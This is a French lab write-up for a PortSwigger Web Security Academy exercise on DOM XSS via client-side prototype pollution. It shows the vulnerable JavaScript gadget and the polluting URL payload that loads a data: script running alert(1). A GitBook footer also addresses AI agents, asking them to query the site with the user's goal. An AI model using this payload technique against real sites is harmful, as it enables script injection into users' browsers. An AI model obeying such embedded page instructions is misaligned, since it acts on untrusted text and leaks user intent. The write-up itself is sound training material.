> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# XSS DOM via pollution du prototype côté client

Notes sur la XSS DOM via pollution du prototype côté client pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

#### XSS DOM via pollution de prototype côté client

#### Contexte du laboratoire

L'application est vulnérable à un **XSS DOM** déclenché par une **pollution de prototype** (côté client). / Objectif : **polluer `Object.prototype`** avec une propriété utile, trouver un **gadget** dans le JS qui l'exploite, puis exécuter `alert()`.

### 1) Observation de la pollution du prototype

#### Source de pollution (dans l'URL)

Des propriétés peuvent être injectées dans `__proto__` via les paramètres :

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Contrôle dans la console

Après la navigation, il est vérifié que la propriété "fail" est présente dans tous les objets :

```javascript
console.log({}.foo)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81d7876405ff22d7fd5b6f0eb2c6767ee75aecad%2Fimage%20(128).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2) Code client vulnérable

Le site contient une logique de

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Point clé : le code lit **`config.transport_url`** et l'utilise comme **source d'un `<script>`**.

### 3) Gadget exploitable identifié

#### Gadget

* `config.transport_url`

#### Pourquoi c'est dangereux

Si `transport_url` existe (même via le prototype), le script fait :

* créer une `<script>`
* `script.src = config.transport_url`
* intégration dans le DOM

Nous pouvons donc forcer le navigateur à charger un script depuis une URL contrôlée.

### 4) Opération : déclencher le XSS

#### Charge utile (pollution + exécution)

`Object.prototype.transport_url` est pollué avec une `schéma data :` URL qui exécute `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8efed16ffcef8dfb72a1e07932abdbe225ba954b%2Fimage%20(115).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Effet secondaire sur le DOM

Le code finit par générer quelque chose d'équivalent à :

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.